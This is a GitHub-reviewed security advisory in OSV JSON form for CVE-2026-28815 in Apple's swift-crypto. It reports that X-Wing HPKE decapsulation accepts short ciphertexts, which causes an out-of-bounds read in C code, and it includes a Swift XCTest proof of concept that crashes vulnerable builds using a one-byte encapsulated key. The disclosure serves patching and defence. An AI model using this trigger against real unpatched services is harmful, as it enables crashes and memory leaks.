{"schema_version":"1.9.2","id":"GHSA-9m44-rr2w-ppp7","published":"2026-04-03T03:39:38Z","modified":"2026-12-04T17:15:06.753414879Z","aliases":["CVE-2026-28815"],"summary":"Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length","details":"Impact: A remote attacker may be able to leak memory\nDescription: An out-of-bounds read was addressed with improved input validation.\nCVE-2026-28815: Cantina\n\nWe would like to thank Cantina for providing a detailed report. A portion of their report is provided below.\n\n### Summary\n\nThe X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.\n\nThe issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.\n\n### Proof-of-concept\n\n```swift\n//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n    func testShortEncapsulatedKeyHPKERecipientInit() throws {\n        if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n            let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n            let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n            let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n            // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)\n            _ = try HPKE.Recipient(\n                privateKey: skR,\n                ciphersuite: ciphersuite,\n                info: Data(),\n                encapsulatedKey: malformedEncapsulatedKey\n            )\n\n            XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n        }\n    }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n```","affected":[{"package":{"name":"github.com/apple/swift-crypto","ecosystem":"SwiftURL","purl":"pkg:swift/github.com/apple/swift-crypto"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.3.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 4.3.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-9m44-rr2w-ppp7/GHSA-9m44-rr2w-ppp7.json"}}],"references":[{"type":"WEB","url":"https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28815"},{"type":"WEB","url":"https://github.com/apple/swift-crypto/commit/bb4ba815dab96d4edc1e0b86d7b9acf9ff973a84"},{"type":"PACKAGE","url":"https://github.com/apple/swift-crypto"},{"type":"WEB","url":"https://github.com/apple/swift-crypto/releases/tag/4.3.1"}],"database_specific":{"cwe_ids":["CWE-125","CWE-787"],"github_reviewed":true,"github_reviewed_at":"2026-04-03T03:39:38Z","nvd_published_at":"2026-04-03T03:16:18Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N"}]}